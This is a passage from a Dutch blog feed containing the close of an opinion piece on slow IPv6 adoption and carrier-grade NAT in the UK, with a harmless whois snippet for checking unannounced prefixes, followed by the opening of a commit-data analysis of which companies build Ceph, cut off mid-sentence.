dat IP-attributie belangrijk genoeg is voor counterterrorisme-wetgeving, en dat niet één provider vraagt het gratis ding te doen dat het herstelt. Fraude, accountovername, intimidatie, doodsbedreigingen, kindermisbruikmeldingen en terrorisme arriveren allemaal bij het toegangsnetwerk met dezelfde vraag, en voor heel wat Britse verbindingen is het eerlijke antwoord \u0026ldquo;een van deze enkele honderden huishoudens\u0026rdquo;.\nHet National Cyber Security Centre is deel van GCHQ en publiceert richtlijnen over heel wat dingen. Het vereist IPv6 van niemand. Niemand in Groot-Brittannië doet dat.\nwww.ncsc.gov.uk en www.gchq.gov.uk antwoorden wel allebei op IPv6, hoor. Zo ook de Internet Watch Foundation. Alle drie omdat ze achter Cloudflare zitten, dat het standaard voor iedereen aanzette. www.police.uk heeft er geen.\nEn Wat Dat Betekent Voor De Zeventien Zeventien van de veertig providers in deze post verkopen verbindingen zonder IPv6, en ongeveer de helft van de full-fibre-bouwers zet klanten achter carrier-grade NAT.\nIk beschuldig geen van hen van een misdaad, en niemand in die gebouwen hoopt op een.\nMaar een verbinding achter carrier-grade NAT zonder IPv6 kan niet naar een abonnee worden herleid. Dat is niet betwist. De IETF schreef het op in 2011, Europol in 2016 en 2017, het Parlement in 2015 — allemaal gepubliceerd voordat het meeste van deze apparatuur werd gekocht. Het alternatief was gratis, en de hele tijd beschikbaar.\nDat is wat \u0026ldquo;we komen uiteindelijk aan IPv6 toe\u0026rdquo; betekent, zodra je het naar beneden volgt.\nWat Eraan Te Doen, Concreet Kort, want niets ervan is moeilijk. Dat is het punt van de hele post.\nAls je connectiviteit inkoopt: zet IPv6 in de aanbesteding als een pass/fail-vereiste, geen nice-to-have. Vraag om native dual-stack en een gedelegeerde prefix, schriftelijk, en vraag welke grootte.\nAls het antwoord één enkele /64 is, blijf vragen. RFC 6177 doodde die in 2011: een thuissite één /64 geven \u0026ldquo;precludes the expectation that even home sites will grow to support multiple subnets\u0026rdquo;, en het is \u0026ldquo;strongly intended that even home sites be given multiple subnets worth of space, by default\u0026rdquo;.\nWat het niet deed is een grootte noemen. Het trok de oude blanket /48 in, zei dat de keuze \u0026ldquo;is an issue for the operational community\u0026rdquo;, en liet onderweg één uitgewerkt voorbeeld vallen: een thuis-default \u0026ldquo;of less than /48, such as a /56\u0026rdquo;.\nDe operators beantwoordden het zelf. RIPE-690 is hun eigen praktijkdocument en het is bot. Een /48 elk als je een simpel plan wilt. Een /48 voor bedrijf en een /56 voor residentieel als je een pragmatisch wilt. Alles langer dan een /56 is \u0026ldquo;strongly discouraged\u0026rdquo;, en een /64 voldoet niet aan IPv6-standaarden en zal klant-LAN\u0026rsquo;s breken.\nDus de vloer is een /56, en het is het eigen getal van de IETF in plaats van iemands voorkeur. Sky heeft elke abonnee er een uitgedeeld sinds 2016. Zen deelt een /48 uit, wat 65.536 is. Een bedrijf zou niet minder dan een /48 moeten accepteren.\nAls een provider je vertelt dat een /48 naar een huis extravagant is, doet een Britse ISP het al jaren terwijl zij nog hun positie aan het uitwerken waren.\nAls je een AS-nummer runt: je houdt waarschijnlijk al een /29 die je nooit hebt aangekondigd. Controleer.\nAS=AS20712 # your AS number ORG=$(whois -h whois.ripe.net \u0026#34;$AS\u0026#34; | awk \u0026#39;/^org:/{print $2; exit}\u0026#39;) # what IPv6 the registry has already given you whois -h whois.ripe.net -- \u0026#34;-i org $ORG\u0026#34; | grep -i \u0026#39;^inet6num\u0026#39; # what you are actually announcing of it whois -h whois.ripe.net -- \u0026#34;-i origin $AS\u0026#34; | grep -i \u0026#39;^route6\u0026#39; Als het eerste commando een prefix print en het tweede niets print, ben je een van de 463.\nKondig het aan, dual-stack je border en één interne VLAN, en zet een AAAA op één publieke dienst. Dat is veertien dagen werk voor één engineer en het verandert je organisatie van een statistiek in de tabel hierboven in een die is begonnen.\nAls je een website runt: controleer op een AAAA-record. Als je achter een CDN zit, is het waarschijnlijk een schakelaar die je vanmiddag kunt aanzetten zonder kosten. Als het uit is, zette iemand het uit.\nAls je managed services verkoopt: schrijf IPv6 in de bouwstandaard en het low-level-design-sjabloon, één keer, en elke klant daarna krijgt het standaard. Niemand hoeft erom te vragen, want niemand vraagt om TLS ook.\nAls je een engineer bent die het nooit heeft gedaan: bouw vanavond een lab. Ongeveer 90% van mijn eigen verkeer loopt over native IPv6 en het is het minst spannende ding aan mijn netwerk. Neem een tunnel of een VPS met een /64, zet adressen op dingen, breek het, fix het. Het kost een avond om op te houden eng te zijn en het is het goedkoopste ding dat je dit jaar aan je carrière kunt doen.\nDe Vragen Die Ik Niet Kan Beslechten Alles hierboven kan ik je tonen. Dit deel is het stuk dat ik blijf omdraaien, en ik heb er geen schoon antwoord op.\nWaarom kunnen sommigen en anderen niet? Dit is degene die ertoe doet, en de data maakt het vreemder in plaats van helderder.\nSky en Virgin Media verkochten breedband aan hetzelfde land, over dezelfde toezichthouder, op hetzelfde moment. Een maakte het af in 2016. De andere zegt \u0026ldquo;wanneer we er klaar voor zijn\u0026rdquo; sinds 2010. Sainsbury\u0026rsquo;s en Tesco zitten op dezelfde CDN, op een product waar dual-stack de standaard is, en een heeft IPv6 en een niet. Noorwegen en Groot-Brittannië kopen bij dezelfde vendors en 66,9% van de Noorse netwerken draagt IPv6 tegen 42,3% van de onze.\nElke externe factor die je zou kunnen aanwijzen wordt in die paren constant gehouden. Zelfde land, zelfde leveranciers, zelfde apparatuur, zelfde klanten, zelfde decennium, zelfde toezichthouder, zelfde geld. En de uitkomsten zijn tegenovergesteld.\nDus de oorzaak zit niet in de omstandigheden. Het zit binnen het gebouw. Ergens in Sky was er een persoon die hier hun zaak van maakte en het drie jaar lang hun zaak bleef maken. In de andere plekken was er geen, of er was er een en niemand erboven kon het schelen. Dat is de hele variabele, en het is geen technische.\nWat een ongemakkelijk antwoord is, want je kunt het niet inkopen, en je kunt het niet in een strategiedocument zetten.\nIs het training? Deels, en minder dan je zou denken.\nKijk nog eens naar de 463 bedrijven die IPv6 houden dat ze nooit hebben aangekondigd. Iemand in elk van die gebouwen wist genoeg om te weten dat ze het nodig hadden, wist wie te vragen, vulde het formulier in, en kreeg het uitgegeven. De kennis was er en de follow-through was er niet.\nTraining brengt een engineer tot het punt van in staat zijn. Het brengt ze niet tot het punt van gedwongen worden. Niemand heeft ooit een slechte beoordeling gehad voor het niet uitrollen van IPv6. Niemand heeft er ooit een contract over verloren. Tot een van die dingen waar is, gaat de training op de stapel met al het andere dat iemand op een cursus leerde en nooit gebruikte.\nHoe lang tot we er allemaal op zitten? Ik kan er een getal op zetten, en het is erger dan ik verwachtte.\nGoogle heeft het aandeel van zijn eigen bezoekers dat over IPv6 arriveert gemeten sinds 2008. Ik neem midden-augustus elk jaar, zodat het gelijk voor gelijk is:\nWereldwijde IPv6-adoptie vertraagt kort voor de helft Wereldwijde IPv6-adoptie vertraagt, versnelt niet Aandeel van Google's eigen bezoekers dat over native IPv6 arriveert, midden-augustus elk jaar. Bron: Google IPv6-statistieken. 0% 10% 20% 30% 40% 50% 2017 18,1% 2018 2019 2020 2021 2022 2023 2024 2025 2026 48,1% Punten toegevoegd dat jaar +3,6 +5,0 +4,4 +3,3 +4,3 +3,3 +2,3 +2,6 +1,1 Dit jaar voegde\u0026#160;1,1 punt toe, de kleinste winst in een decennium, tegen 6,6 punt in het jaar tot augustus 2017. Google\u0026rsquo;s measurement of its own visitors arriving over native IPv6, taken mid-August each year so it is like for like. The line is the level. The bars are what each year added. We versnellen niet naar de finish. We vertragen kort voor de helft. Dit jaar voegde 1,1 punt toe, de kleinste winst in een decennium, tegen 6,6 punt in het jaar tot augustus 2017.\nTrek het als rechte lijn door vanaf de laatste drie jaar en de wereld bereikt 100% in 2049. Trek het als rechte lijn door vanaf dit jaar alleen en het is 2073. Geen van beide is een voorspelling. Een curve die afvlakt bereikt de top helemaal niet door drift. Het stalt ergens in de zestig en de rest beweegt nooit, want de netwerken die het tegen dan niet hebben gedaan zijn degene die niets ooit ging bewegen.\nIk zou graag ongelijk hebben daarover. Het getal is elk jaar dat ik keek kleiner geworden.\nHebben we een wet nodig? Dit is degene waar ik het meest over heen en weer ben gegaan, en ik ben geland op \u0026ldquo;niet de wet waar mensen naar grijpen\u0026rdquo;.\nTegen een mandaat: de Amerikanen namen de sterkste die iemand ooit aannam, en misten het. Een deadline is geen uitrol.\nVoor een: 6UK\u0026rsquo;s afscheidsoordeel in 2012 was dat vrijemarkt-prikkels onvoldoende zijn en dat de landen die achterlopen degene zijn met hands-off overheden. Veertien jaar Britse data is het met hen eens.\nEn hier is het deel dat het beslecht. Dit land heeft al over dit probleem legislateerd — het legislateerde alleen in de verkeerde richting. We waren bereid te legislateren om adres-delen te accommoderen. We zijn nooit bereid geweest te legislateren om het te verwijderen.\nWat ik zou vragen is geen verbod en geen doel, maar het Belgische instrument eerder beschreven: een harde limiet op hoeveel abonnees één adres mogen delen. Het heeft geen nieuwe adressen nodig, het sluit niemand buiten de markt, en het werkt op de economie in plaats van op iemands goede bedoelingen.\nEen mandaat op zich produceert één nuttig ding, en het is geen uitrol. Het is een genoemde persoon die de misser moet uitleggen. We hebben nooit een van die gehad.\nHoe zijn we dan zo snel naar IPv4 overgestapt? Omdat iemand de oude kon uitschakelen.\nDe vergelijking is exact, en bijna niemand maakt hem. Het ARPANET draaide het Network Control Program, dat hosts adresseerde in 8 bits — 6 voor de node en 2 voor de host, dus 64 nodes van 4 machines, 256 hosts in totaal. Tegen de late jaren zeventig was dat duidelijk niet genoeg, en het antwoord was een nieuw protocol met een groter adres. Zelfde probleem dat we nu hebben, veertig-en-nog-wat jaar eerder.\nJon Postel publiceerde het overgangsplan in november 1981. In maart 1982 verklaarde het US Department of Defense TCP/IP zijn officiële standaard. Beide protocollen liepen naast elkaar, en op 1 januari 1983 werd NCP uitgeschakeld. Hosts die niet waren geconverteerd verloren toegang tot het netwerk. Vint Cerf herinnert zich \u0026ldquo;I survived the TCP/IP switchover\u0026rdquo;-buttons die daarna werden gedragen door de mensen die het doorstonden.\nVeertien maanden van plan tot vlaggendag.\nTel nu wat dat mogelijk maakte. Ruwweg een paar honderd hosts, geen vier miljard. Eén netwerk, niet elk netwerk. Eén financier die elke machine erop bezat en het loon betaalde van iedereen die ze aanraakte. Eén enkele organisatie die een datum kon zetten, en — dit is het stukje dat ertoe doet — het oude protocol op die datum kon laten stoppen met werken.\nGeen van die dingen bestaat nu, en dat is het hele antwoord. IPv4 won niet omdat de migratie makkelijk was. Het won omdat er iemand in een positie was om het argument te beëindigen.\nNiemand is vandaag in die positie. Er is geen autoriteit die IPv4 kan uitschakelen, en die zal er nooit zijn. Wat betekent dat deze overgang niet afgemaakt kan worden zoals de laatste — het kan alleen afgemaakt worden doordat enkele duizenden bedrijven elk beslissen, op eigen houtje, om de moeite te nemen.\nOp de cijfers van dit jaar landt dat in 2073. Negentig jaar na de vlaggendag.\nWe Maakten Vroeger Dingen Fatsoenlijk Een standaard is iets dat je aanhoudt wanneer niemand kijkt. Dat is het geheel ervan. Er is geen inspecteur hiervoor, geen certificaat, geen auditor die opdaagt en vraagt je routingtabel te zien, en twintig jaar hebben nu precies getoond wat dit land doet met een verplichting die niemand afdwingt.\nWe laten het vallen, en dan kopen we iets om het gat te dekken.\nNiets daarvan is een technisch falen en ik zal niet doen alsof het dat is. Groot-Brittannië kan dit werk doen. De vaardigheden zijn hier, de apparatuur is hier, de adresruimte is uitgegeven en zit te wachten in accounts die we al betalen. Wat weg is, is het instinct om een klus fatsoenlijk te doen omdat het de klus is — zonder er extra voor betaald te worden, en zonder iemand die over je heen staat en je dwingt.\nVraag wat het werkelijk stopt en je landt op het geld, maar niet op de manier die mensen bedoelen.\nEen carrier-grade NAT heeft een inkooporder. Het heeft een vendor, een offerte, een korting, een supportcontract en een verlengingsdatum. Het gaat in het kapitaalplan, het schrijft af over vijf jaar, en iemands naam staat op de businesscase. Het leveren is een zichtbaar ding waar een manager in een beoordeling naar kan wijzen.\nIPv6 heeft niets daarvan. Geen factuur, geen leverancier, geen verlenging, niets om in een budget te zetten en niets dat iemand gekocht kan zijn zien te hebben. Het is gewoon werk, fatsoenlijk gedaan, door mensen die weten wat ze doen, voor geen rendement dit kwartaal. Niemand in deze industrie is ooit gepromoveerd voor een ding dat nooit in een budget verscheen.\nAls zodanig verliest de goedkopere optie, elk jaar, twintig jaar lang. Niet omdat iemand het afwoog en verkeerd koos, maar omdat hier een managementcultuur is opgegroeid die alleen de delen van engineering kan zien die met een prijs erop arriveren. Goedkoop was nooit het obstakel. Onfactureerbaar was het. Dat is hoe het eruitziet wanneer een bedrijf stopt zich om standaarden te bekommeren en alleen begint zich te bekommeren om wat het op een factuur kan zetten, en het is een keuze die gemaakt wordt door mensen die goed genoeg betaald worden om beter te weten.\nDan is er wat ze ons in plaats van een adres verkochten, wat mensen bozer zou moeten maken dan het doet.\nHet internet werd gebouwd zodat elke machine elke andere machine direct kon bereiken. Geen detail van het ontwerp. Het ontwerp. Het is waarom iedereen met een verbinding en een idee iets kon opzetten dat de hele wereld kon bereiken. Zet een klant achter een gedeeld adres en dat is weg. Je kunt vragen, maar je kunt nooit antwoorden. Je bent een consument van andermans diensten, permanent, en nooit een leverancier van je eigen.\nDat is geen ongelukkig neveneffect van een schaarste. Het is een herarchitectuur, en het past iedereen die het verkoopt. De camera die nu de cloud van de fabrikant nodig heeft. De remote access die nu iemands relay nodig heeft. Het ding dat mensen vroeger thuis draaiden dat nu een maandabonnement is. Elk daarvan is iemand die een ding bezat en werd omgezet in iemand die het huurt, en een verbinding stilletjes gedegradeerd van een plek op het internet tot een raam op dat van iemand anders.\nWe gaven het midden van het internet weg aan een handjevol bedrijven op een ander continent, en stonden er toen verbaasd naar te kijken dat het gecentraliseerd eindigde. Je kunt niet zelfredzaam zijn op een verbinding die je niks laat hosten.\nZelfredzaamheid is het deel waar ik op blijf terugkomen, want dit land is opgehouden het van zichzelf te verwachten. Het instinct nu is te wachten. Op een vendor, een toezichthouder, een subsidie, een mandaat, een klant die opbelt en vraagt. Geen van die komt. Er is geen marktsignaal onderweg, geen beleid in concept, geen deadline die iemand zal moeten uitleggen dat het gemist werd.\nWat het laat waar het de hele tijd is geweest. Een gratis toewijzing, die in een registeraccount zit met de naam van je bedrijf erop, en veertien dagen tussen jou en het fatsoenlijk gedaan hebben van de klus.\nNiemand komt je dwingen. Dat is precies waarom het telt.\nJe kunt controleren of het jouw gebouw is. Het script staat in de download bovenaan de post.\nBronnen Alles hieronder werd opgehaald op 27 augustus 2026.\nDe data waaruit ik mat. Elk getal van mij komt hieruit. Ze zijn gratis, ze zijn openbaar, en je kunt het hele ding in een middag herhalen.\nRegisterdelegatiebestanden, één per regionaal register: RIPE NCC, APNIC, ARIN, LACNIC, AFRINIC. RIPE\u0026rsquo;s werd gegenereerd op 26 augustus 2026, de rest op 27 augustus 2026. RIPE RIS routingtabeldumps, riswhoisdump.IPv4.gz en riswhoisdump.IPv6.gz, gegenereerd om 18:06 UTC op 27 augustus 2026. RIPE database REST-interface, voor de organisatie achter elk AS-nummer. De publieke DNS, voor de AAAA-sweep, gekruisverwezen tegen een tweede resolver. Metingen van anderen.\nGoogle IPv6-statistieken — per-land native IPv6 onder Google\u0026rsquo;s eigen bezoekers, cijfers per 25 augustus 2026. APNIC over IPv6-prestaties en over IPv6-securitymisvattingen — het gemeten beeld in plaats van het forumbeeld. IPv4-transfermarktprijzen, eerste helft van 2026, samenvatting van CircleID\u0026rsquo;s analyse van openbaar geprijsde transacties. Standaarden. De bolt-ons, in de volgorde waarin ze werden gepubliceerd.\nRFC 3056 — 6to4 automatische tunneling, februari 2001. RFC 3701 — het 6bone-uitfaseerplan, dat zijn shutdown op 6 juni 2006 zet. RFC 7526 — het deprecaten van de 6to4 anycast-relays en ze naar Historic verplaatsen, mei 2015. RFC 4864 — wat NAT wel en niet geeft, en waarom de firewall die mensen denken te hebben \u0026ldquo;an arbitrary artifact\u0026rdquo; is, 2007. RFC 4941, RFC 7217 en RFC 8981 — tijdelijke en ondoorzichtige adressen, wat de reden is dat het IPv6-adres van een apparaat geen stabiele identificator is. RFC 801 — Jon Postels NCP/TCP-overgangsplan, november 1981, dat de vlaggendag van 1 januari 1983 zet. RFC 1883 — de oorspronkelijke IPv6-specificatie, december 1995. RFC 6333 — DS-Lite, 2011. RFC 6056 — bronpoort-randomisatie, de verdediging die CGN verzwakt, 2011. RFC 6269 — Issues with IP Address Sharing, juni 2011. De eigen catalogus van de IETF van wat CGN breekt, inclusief abuse-logging, penalty boxes, blacklisting, poort-randomisatie en traceerbaarheid. RFC 791 en RFC 8200 — de twee headerformaten, en waarom IPv6 de checksum, de variabele lengte en in-flight fragmentatie liet vallen. RFC 6583 — Neighbour Discovery cache-uitputting op een /64, en de forwarding-plane-versus-control-plane-splitsing die beslist wat een router-CPU kost. RFC 6177 — hoeveel adresruimte een eindsite zou moeten krijgen, 2011. Maakt RFC 3177\u0026rsquo;s blanket /48 achterhaald, sluit de enkele /64 uit, en overhandigt het werkelijke getal aan de operationele gemeenschap. RIPE-690 — het eigen antwoord van de Europese operators op die vraag, oktober 2017: /48 of /56 aan een eindgebruiker, nooit een /64. RFC 6302 — log de bronpoort, timestamp en protocol, 2011. RFC 6598 — gedeelde adresruimte, 2012. RFC 6877 — 464XLAT, 2013. RFC 6888 — carrier-grade NAT-vereisten, 2013. RFC 7021 — de impact van carrier-grade NAT op applicaties, 2013. RFC 7422 — deterministische mapping om CGN-logging te snijden, 2014. RFC 7597 en RFC 7599 — MAP-E en MAP-T, 2015. World IPv6 Launch, 6 juni 2012. Hurricane Electric\u0026rsquo;s gratis tunnel broker — waar heel wat van ons IPv6 kregen terwijl onze eigen ISP\u0026rsquo;s er geen hadden. Wet en beleid.\nCyber Security and Resilience (Network and Information Systems) Bill 2024-26 — House of Commons Library-briefing over het wetsvoorstel dat managed service providers binnen de NIS Regulations zou brengen. Counter-Terrorism and Security Act 2015, sectie 21 — retentie van relevante internetdata, en de toelichting erop. Europol, oktober 2017 — wetshandhaving die oproept tot het einde van carrier-grade NAT, met de 90%-mobiel- en 50%-vast-cijfers. OMB-memorandum M-21-07 — de Amerikaanse federale IPv6-only-vereiste, november 2020. Online Safety Act 2023. Europol EC3, Carrier Grade NAT and crime attribution online — Gregory Mouniers presentatie aan RIPE 74, met de augustus-2016-enquête van EU-wetshandhaving, de casusvoorbeelden, en de Belgische gedragscode en zijn resultaten. NCMEC CyberTipline-data — 2025-rapportvolumes en verwijzingen. A Multi-perspective Analysis of Carrier-Grade NAT Deployment, ACM IMC 2016 — de onafhankelijke meting van CGN-gebruik door mobiele en vaste providers. RIPE NCC charging scheme 2026 — EUR 1.800 per LIR-account, vlak. Vendors, in hun eigen woorden.\nAkamai, juni 2022 — dual-stack is de standaard en klanten moeten er opt-out van doen. AWS, 2023 — de publieke IPv4-heffing, en waarom. Verslaggeving en het dossier.\nSky\u0026rsquo;s eigen verslag op RIPE Labs — hoe vijf miljoen gebruikers werden verplaatst. ISPreview, september 2016 — Sky die de uitrol afmaakt. CircleID, september 2016 — de Jim Bound IPv6 Award. ISPreview, december 2012 — 6UK die zichzelf opheft. ISPreview altnet IPv6- en CGNAT-enquête — april 2024, bijgewerkt tot maart 2025. ISPreview over Plusnets IPv6-test, november 2023 — de test van 2011, de gemiste lancering van 2020, en de opmerking dat BT en Plusnet bijna-identieke routers leveren. Een community-onderhouden tracker van Britse mobiele netwerken en IPv6 — gebruiker-gerapporteerd in plaats van officieel, en de bron voor welke mobiele netwerken vandaag IPv6 uitdelen. havevirginmediaenabledipv6yet.co.uk — de Virgin Media-tijdlijn, 2010 tot nu. Internet Society, september 2016 — Sky op 90% van zijn basis, elke abonnee die een /56 krijgt. Internet Society, september 2016 — Ron Broersma\u0026rsquo;s relaas van de 1983 NCP-naar-TCP/IP-migratie, inclusief de 256-host-limiet en wat er gebeurde met iedereen die de deadline miste. The Register, januari 2013 — dertig jaar na de vlaggendag, en de buttons die mensen daarna droegen. UK IPv6 Council. ","permalink":"https://blogs.damiendye.uk/nl/networking/we-never-ran-out-of-addresses/","summary":"IPv6 is af, gratis en standaard aangezet in elk besturingssysteem al het grootste deel van twintig jaar. Het antwoord van het VK was carrier-grade NAT, een wet over logging, en £5 per maand om je het adres terug te geven dat je vroeger had. Ik telde elk Brits netwerk in de wereldwijde routingtabel om te ontdekken wie IPv6 werkelijk heeft aangezet — 1.200 ervan niet, en 463 daarvan zitten op adresruimte die ze aanvroegen en nooit gebruikten.","title":"We Zijn Nooit Zonder Adressen Geraakt. We Zijn Zonder Moeite Geraakt."},{"content":"Openheid vooraf: ik werk voor croit, dat Ceph verkoopt en in de tabellen hieronder voorkomt. Ik heb geprobeerd net zo kritisch over ons te zijn als over ieder ander. Elk getal komt uit de publieke git-geschiedenis, uit Ceph\u0026rsquo;s eigen vastlegging in de repository, of uit een openbare uitspraak met naam — allemaal reproduceerbaar, allemaal in de bronnen aan het eind.\nCeph houdt veel spullen overeind waar niemand aan denkt. Proxmox-clusters, OpenStack, Kubernetes, nationale onderzoekslaboratoria, banken, telecombedrijven, deeltjesversnellers. Twintig jaar later is het nog steeds het eerste antwoord als iemand blok-, bestands- en objectopslag uit één cluster van gewone hardware wil.\nWie schrijft het dus, wie onderhoudt het, en wie draait het?\nNiet “wie staat op de mailinglijst” of “wie sprak op Cephalocon”. Ik heb ceph/ceph gekloond, elke commit zonder merge genomen die in de tien jaar tot 2026-08-27 is geschreven, en de auteurs op bedrijven gekoppeld met Ceph\u0026rsquo;s eigen .organizationmap plus een vastgelegde set correcties. Daarna heb ik Ceph\u0026rsquo;s bestuursbestand uit de repository genomen en alle 38 leden van het Steering Committee herleid naar de werkgever in hun eigen gepubliceerde adres. Daarna ben ik gaan zoeken wie publiek zegt dat hij het draait.\nDat komt op 69.613 commits van 1.718 mensen uit 478 organisaties. Het is een beter beeld dan ik vooraf verwachtte, en niet het beeld dat ik wilde schrijven.\nHet decennium Rang Organisatie Commits Aandeel 1 Red Hat 42.354 60,8% 2 SUSE 6.191 8,9% 3 IBM 4.308 6,2% 4 Intel 2.066 3,0% 5 ZTE 1.176 1,7% 6 QiAnXin 900 1,3% 7 Ceph Foundation 691 1,0% 8 Mirantis 566 0,8% 9 IONOS 498 0,7% 10 China Mobile 397 0,6% 11 Proxmox 254 0,4% 12 croit 242 0,3% 13 Cloudbase Solutions 239 0,3% 14 Bloomberg 231 0,3% 15 XSKY 225 0,3% — Clyso 181, Huawei 159, Inspur 155, Cafe Bazaar 130, CERN 121, SK Telecom 120, UMCloud 106, Deutsche Telekom 105, EasyStack 103, ISCAS 99, Tencent 83, en 460 organisaties meer — Geen werkgever te zien in het adres 6.295 9,0% Rij 1 en 3 zijn hetzelfde team. Op 4 oktober 2022 kondigden Red Hat en IBM aan dat het hele Ceph-team van Red Hat naar IBM verhuisde, waarbij IBM de sponsoring van Red Hat bij de Foundation overnam en meebetaalt aan het upstream-testlab. De mensen veranderden niet; hun e-mailadressen verhuizen nog steeds, één ingenieur per keer, vier jaar later.\nTel ze op: 46.662 commits. 67,0% van het decennium.\nSta daar even bij stil voordat er iets anders komt, want het is de afspraak die Ceph laat bestaan. Eén bedrijf heeft tientallen ingenieurs betaald om gedistribueerde opslag te bouwen en te onderhouden die het daarna weggeeft. Tien jaar lang, door twee overnames en een wisseling van moederbedrijf. Niemand heeft ze daartoe verplicht.\nDe laatste drie jaar Rang Organisatie Commits Aandeel 1 Red Hat 7.273 45,0% 2 IBM 3.818 23,6% 3 QiAnXin 597 3,7% 4 Ceph Foundation 526 3,3% 5 IONOS 498 3,1% 6 Intel 279 1,7% 7 Proxmox 249 1,5% 8 Bloomberg 220 1,4% 9 croit 157 1,0% 10 Clyso 153 0,9% 11 Cafe Bazaar 118 0,7% 12 ISCAS (Institute of Software, Chinese Academy of Sciences) 99 0,6% — Geen werkgever te zien in het adres 2.008 12,4% 16.160 commits. Red Hat plus IBM: 11.091, of 68,6%.\nHet aandeel van één bedrijf in Ceph, over een decennium en over drie jaar Het aandeel beweegt niet. Wat erin zit wel. Tien jaar tot 2026-08-27 69.613 commits Red Hat\u0026#160;\u0026#160;60,8% IBM 6,2% SUSE 8,9% alle anderen\u0026#160;\u0026#160;24,1% Red Hat + IBM: 46.662 commits, 67,0% Laatste drie jaar 16.160 commits Red Hat\u0026#160;\u0026#160;45,0% IBM\u0026#160;\u0026#160;23,6% SUSE: 13 alle anderen\u0026#160;\u0026#160;31,4% Red Hat + IBM: 11.091 commits, 68,6% SUSE was de tweede grootste bijdrager van het decennium. In de laatste drie jaar schreef het 13 commits, en in 2025 en 2026 helemaal geen. Het aandeel van dat ene bedrijf beweegt nauwelijks tussen het decennium en het recente venster — 67,0% tegen 68,6%. Wat verandert is alles eromheen. De veerkracht waar niemand over praat Hier is het stuk dat ik niet verwachtte, en het is het beste van de hele oefening.\nCeph heeft de twee gebeurtenissen die deze data je zou laten vrezen al doorstaan, en het vertrok geen spier.\nZijn schepper, Sage Weil, schreef 7.517 commits over het decennium — meer dan welke organisatie ook, behalve Red Hat, SUSE en IBM. In 2017 alleen schreef hij 2.184 commits, 21,5% van het hele project in zijn eentje. Hij trad in oktober 2021 terug na 17 jaar; zijn laatste commit is van 2022-01-20.\nZijn tweede grootste bijdrager van het decennium, SUSE, schreef 6.191 commits en piekte op 1.839 in één jaar. Daarna schrapte het SUSE Enterprise Storage voor Longhorn van Rancher en bouwde af: 463 in 2021, 110 in 2022, 14 in 2023, 10 in 2024, sindsdien niets.\nBeide binnen dezelfde vijf jaar. Was een project met deze concentratie broos, dan was het toen geknapt.\nDat gebeurde niet. Het commit-tempo dit jaar is 14,6 per dag tegen 14,8 vorig jaar. Vlak. Releases bleven komen. Het bestuur werd herbouwd tot een Executive Council en een Steering Committee van 38 personen, en het hield.\nJaar Commits totaal Red Hat + IBM Aandeel Alle anderen 2016 10.286 5.834 56,7% 4.452 2017 10.158 6.942 68,3% 3.216 2018 8.099 5.265 65,0% 2.834 2019 9.000 5.934 65,9% 3.066 2020 8.361 5.230 62,5% 3.131 2021 7.381 4.517 61,1% 2.864 2022 4.731 2.937 62,0% 1.794 2023 4.634 3.315 71,5% 1.319 2024 5.410 3.571 66,0% 1.839 2025 5.389 3.730 69,2% 1.659 2026 3.495 2.329 66,6% 1.166 (2026 loopt tot 27 augustus, ongeveer acht maanden.)\nTussen 57 en 72 procent van één leverancier, elk jaar, een decennium lang. Het volume is gezakt ten opzichte van de piek in 2016, en dat is wat er gebeurt als een project ophoudt zijn fundering te herbouwen en die begint te onderhouden. De laatste drie jaar zijn vlak, of een tikje omhoog.\nCommitvolume van Ceph per jaar — het aandeel houdt, het totaal halveert Commits per jaar, en wie ze schreef Main-branch van Ceph, commits zonder merge, op auteursdatum 0 3k 6k 9k 12k 2016 57% 2017 68% 2018 65% 2019 66% 2020 63% 2021 61% 2022 62% 2023 72% 2024 66% 2025 69% 2026* 67% Red Hat + IBM — één team sinds oktober 2022 alle anderen Piek van SUSE: 1.839 Sage Weil vertrekt SUSE: 110 in 2022, 14 in 2023, 0 in 2026 * 2026 loopt tot 27 augustus; uitgezet op het huidige dagtempo van 14,6 commits, tegen 14,8 voor 2025. Commitvolume per jaar, gesplitst tussen het team van Red Hat/IBM en alle anderen. Gemarkeerd: de piek en het vertrek van SUSE, en het vertrek van Sage Weil. Ceph ving beide op zonder tempowisseling. Ceph heeft de bedrijven overleefd die het bouwden Dit is het echte verhaal van het decennium, en in een venster van drie jaar zie je het helemaal niet.\nKijk naar rij 2, 5, 8, 10, 13 en 15. SUSE, ZTE, Mirantis, China Mobile, Cloudbase Solutions, XSKY — plus Inspur, EasyStack, UMCloud, Kylin, UnitedStack, Xtao, Istuary en meer verderop. Samen ruim meer dan 10.000 commits. Bijna alles is gestopt.\nSUSE: 6.191 commits, piek in 2020, nu nul. ZTE: 1.176 commits, 1.071 in 2016 alleen, laatste commit 2020. Mirantis: 566 commits, weg. XSKY, EasyStack, Inspur, UMCloud, Kylin, UnitedStack: het opslagcohort uit het OpenStack-tijdperk, allemaal afgebouwd. Elk daarvan was een bedrijf dat een product op Ceph inzette. De producten werden geschrapt of gingen een andere kant op. En Ceph is er nog, en levert in hetzelfde tempo, met hun code nog in de boom en iemand anders die er op let.\nDe beste illustratie is het dashboard. Over het decennium ziet src/pybind/mgr/dashboard er zo uit:\nsrc/pybind/mgr/dashboard, tien jaar Commits Aandeel SUSE 1.408 36,6% Red Hat 1.177 30,6% IBM 734 19,1% Geen werkgever te zien 478 12,4% Het Ceph-dashboard was grotendeels het werk van SUSE. SUSE verliet daarna het project volledig. In de laatste drie jaar is dezelfde map 57,5% IBM en 30,3% Red Hat, en het dashboard levert nog en krijgt nog functies.\nDat is upstream-first ontwikkelen dat precies het werk doet waar het voor is. Een leverancier stopte er veel in, de leverancier vertrok, en de gebruikers hielden de software. Had SUSE dat dashboard als een gesloten laag erbovenop gebouwd, zoals genoeg opslagleveranciers zouden doen, dan was het met de productlijn gestorven. Het ging in plaats daarvan upstream, dus het leefde.\nHet volgende decennium wordt door meerdere bedrijven tegelijk gebouwd Crimson is de herbouw vanaf de grond van de OSD — de daemon die je schijven bezit — op het Seastar-framework, gericht op het model van één thread per kern dat modern NVMe vraagt. Het is de grootste inzet op Ceph\u0026rsquo;s volgende tien jaar. Over het decennium:\nsrc/crimson, tien jaar Commits Aandeel Red Hat 3.038 52,1% Intel 1.269 21,8% QiAnXin 824 14,1% Geen werkgever te zien 450 7,7% En over de laatste drie jaar zijn Red Hat en IBM samen een minderheid met 45,4%, met QiAnXin op 28,4% en Intel op 13,4%.\nHet belangrijkste dat er op dit moment in Ceph wordt gebouwd is echt een klus van meerdere bedrijven. Niet de routekaart van één leverancier met er wat bijdragers aan geschroefd — drie bedrijven die jarenlang zwaar 